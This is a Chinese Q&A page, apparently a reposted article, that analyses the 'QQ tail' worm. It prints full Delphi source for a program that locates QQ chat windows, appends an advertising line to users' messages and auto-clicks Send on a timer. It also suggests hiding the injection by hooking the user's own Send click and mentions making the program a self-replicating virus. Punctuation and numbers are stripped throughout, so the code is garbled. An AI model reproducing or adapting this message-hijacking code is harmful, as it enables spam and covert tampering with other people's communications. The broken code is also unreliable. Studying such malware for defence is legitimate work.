QQ尾巴病毒的发送原理分析

 我来答
伊彩缘17
2022-11-05 · TA获得超过4855个赞
知道大有可为答主
回答量:4301
采纳率:100%
帮助的人:213万
展开全部
近来QQ尾巴病毒大肆发作 我也经常收到网友们发来的带尾巴的消息 于是 好奇心一来 我也来研究研究此病毒的发作原理 首先 我不知道QQ尾巴病毒真正的原理 我只是猜测并且自己写了一个类似的程序来实现它

  QQ尾巴的发作情况 当用户打开一个QQ消息发送窗口时 病毒会自动往消息文本框里输入文本 然后不等用户反应过来就发出去了

  程序实现 首先要找到QQ消息发送窗口的句柄以及消息文本框与 发送 按钮的窗口句柄

   一 如何找到QQ消息发送窗口句柄

  QQ消息发送窗口有两种 一种是消息模式 在这种情况下 窗口标题含有 发送消息 字样 一种是聊天模式 窗口标题含有 聊天中 字样

通过枚举窗口就可找到相应的句柄

// 取得QQ的发送消息窗口

function GetQQWnd: HWND;

var

hCurrentWindow: HWnd;

WndText:String;

begin

hCurrentWindow := GetWindow(Application Handle GW_HWNDFIRST);

while hCurrentWindow <> do

begin

WndText:=GetWndText(hCurrentWindow);

if (Pos( 聊天中 WndText)> ) or (Pos( 发送消息 WndText)> ) then

begin

Result:=hCurrentWindow;

Exit;

end;

hCurrentWindow := GetWindow(hCurrentWindow GW_HWNDNEXT);

end;

Result:= ;

end;

   二 如何找到 发送 按钮窗口句柄

  找到了QQ的发送消息窗口后 就可以进一步查找 发送 按钮句柄了 如窗口句柄为qqWnd 则可以用一个循环 查找文本中含有 发送 字样的窗口 经过试验发现 发送 按钮恰恰是窗体的第一个子窗口 这样 可以用

btnWnd:=GetDlgItem(qqWnd ); // 发送按钮

来获得 发送 按钮的句柄

   三 如何找到消息文本框窗口句柄

  消息文本框并不好找 不过你可以先在消息文本框中输入几个字母 如 abcd 这样我们就可以用上述方法来查找了 不过通过实验后 发现消息文本框并不是QQ窗口的直接子窗口 而是其中一个子窗口的子窗口 通过实验 可以用

txtWnd:=GetWindow(GetDlgItem(qqWnd ) GW_CHILD); // 文本框

来获得

   四 如何获得原消息文本框的文本

  要获取原消息文本框的文本 只需要一个API函数就行了 如下

// 获得窗口文本

function GetWndText(hWnd: HWND): String;

Var

Ret:LongInt;

mText:PChar;

Buf:Integer;

begin

Ret:=SendMessage(hWnd WM_GETTEXTLENGTH )+ ;

GetMem(mText Ret);

try

Buf:=LongInt(mText);

SendMessage(hWnd WM_GETTEXT Ret Buf);

Result:=StrPas(mText);

finally

FreeMem(mText Ret);

end;

end;

   五 如何住原消息文本框里追加文本

与取文本相反

// 发送文本到窗口

procedure SetWndText(hWnd: HWND; Text: String);

Var

Ret:LongInt;

mText:PChar;

Buf:Integer;

begin

GetMem(mText Length(Text));

StrCopy(mText PChar(Text));

try

Buf:=LongInt(mText);

SendMessage(hWnd WM_SETTEXT Buf);

finally

FreeMem(mText Length(Text));

end;

end;

   六 如果让 发送 按钮自动点击

  一切都准备好了 现在要开始发送了 为了让消息自动发送 我们可以模拟 发送 按钮被点击了

SendMessage(btnWnd WM_LBUTTONDOWN MK_LBUTTON );

SendMessage(btnWnd WM_LBUTTONUP );

  通过模拟一个鼠标在 开始 按钮上的按下与放开 就实现了点击发送功能

   七 其它的定时功能比较简单 在此也不多说了

   八 全部源代码如下

unit Unit ;

interface

uses

Windows Messages SysUtils Variants Classes Graphics Controls Forms

Dialogs StdCtrls ExtCtrls;

type

TForm = class(TForm)

Timer : TTimer;

Button : TButton;

Edit : TEdit;

Label : TLabel;

Button : TButton;

procedure Timer Timer(Sender: TObject);

procedure Button Click(Sender: TObject);

procedure Button Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form : TForm ;

implementation

{$R * dfm}

// 获得窗口文本

function GetWndText(hWnd: HWND): String;

Var

Ret:LongInt;

mText:PChar;

Buf:Integer;

begin

Ret:=SendMessage(hWnd WM_GETTEXTLENGTH )+ ;

GetMem(mText Ret);

try

Buf:=LongInt(mText);

SendMessage(hWnd WM_GETTEXT Ret Buf);

Result:=StrPas(mText);

finally

FreeMem(mText Ret);

end;

end;

// 发送文本到窗口

procedure SetWndText(hWnd: HWND; Text: String);

Var

Ret:LongInt;

mText:PChar;

Buf:Integer;

begin

GetMem(mText Length(Text));

StrCopy(mText PChar(Text));

try

Buf:=LongInt(mText);

SendMessage(hWnd WM_SETTEXT Buf);

finally

FreeMem(mText Length(Text));

end;

end;

// 取得QQ的发送消息窗口

function GetQQWnd: HWND;

var

hCurrentWindow: HWnd;

WndText:String;

begin

hCurrentWindow := GetWindow(Application Handle GW_HWNDFIRST);

while hCurrentWindow <> do

begin

WndText:=GetWndText(hCurrentWindow);

if (Pos( 聊天中 WndText)> ) or (Pos( 发送消息 WndText)> ) then

begin

Result:=hCurrentWindow;

Exit;

end;

hCurrentWindow := GetWindow(hCurrentWindow GW_HWNDNEXT);

end;

Result:= ;

end;

// 定时处理

procedure TimerProc;

var

qqWnd txtWnd btnWnd:HWND;

Msg:String;

begin

qqWnd:=GetQQWnd;

if qqWnd= then Exit;

btnWnd:=GetDlgItem(qqWnd ); // 发送按钮

txtWnd:=GetWindow(GetDlgItem(qqWnd ) GW_CHILD); // 文本框

if (btnWnd= ) or (txtWnd= ) then Exit;

Msg:=GetWndText(txtWnd);

Msg:=Msg+# +# + 欢迎光临绿荫网络// lvyin net ;

SetWndText(txtWnd Msg);

SendMessage(btnWnd WM_LBUTTONDOWN MK_LBUTTON );

SendMessage(btnWnd WM_LBUTTONUP );

end;

procedure TForm Timer Timer(Sender: TObject);

begin

TimerProc;

end;

procedure TForm Button Click(Sender: TObject);

begin

Timer Enabled :=not Timer Enabled;

if Timer Enabled then

Button Caption := 停 止

else

Button Caption := 开 始 ;

end;

procedure TForm Button Click(Sender: TObject);

begin

Timer Interval :=StrToInt(Edit Text);

end;

end

   九 总结   上面只讲述了QQ消息自动发送的主要功能 这或许跟QQ尾巴的原理不同(我也不知道) 但总体上应该差不多 如果要做到让用户感觉不到异常 就要改一下了 不要自动发送 而是在当用户点击了 发送 按钮后再把文本加进去 这样的话可拦截 发送 按钮的点击消息 然后再用上述方法把文本加进去 然后把消息交还原程序处理 至于如何让它成为病毒 会自我复制 自我隐藏等功能 那又是另外一个话题了 在此就不多讲了

lishixinzhi/Article/program/Delphi/201311/8482

已赞过 已踩过<
你对这个回答的评价是?
评论 收起
朗深技术(长沙欧尼达)
2018-10-31 广告
人工语音电销机器人是一款通过精准语言平台,群呼潜在客户群体,并模拟销售专员沟通进行信息筛选的人工智能语音机器人。人工语音电销机器人在普通呼叫系统基础上加入了自然语言处理、语音识别、词义理解等多项人工智能技术,通过智能外呼,自动应答来代替人工... 点击进入详情页
本回答由朗深技术(长沙欧尼达)提供
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式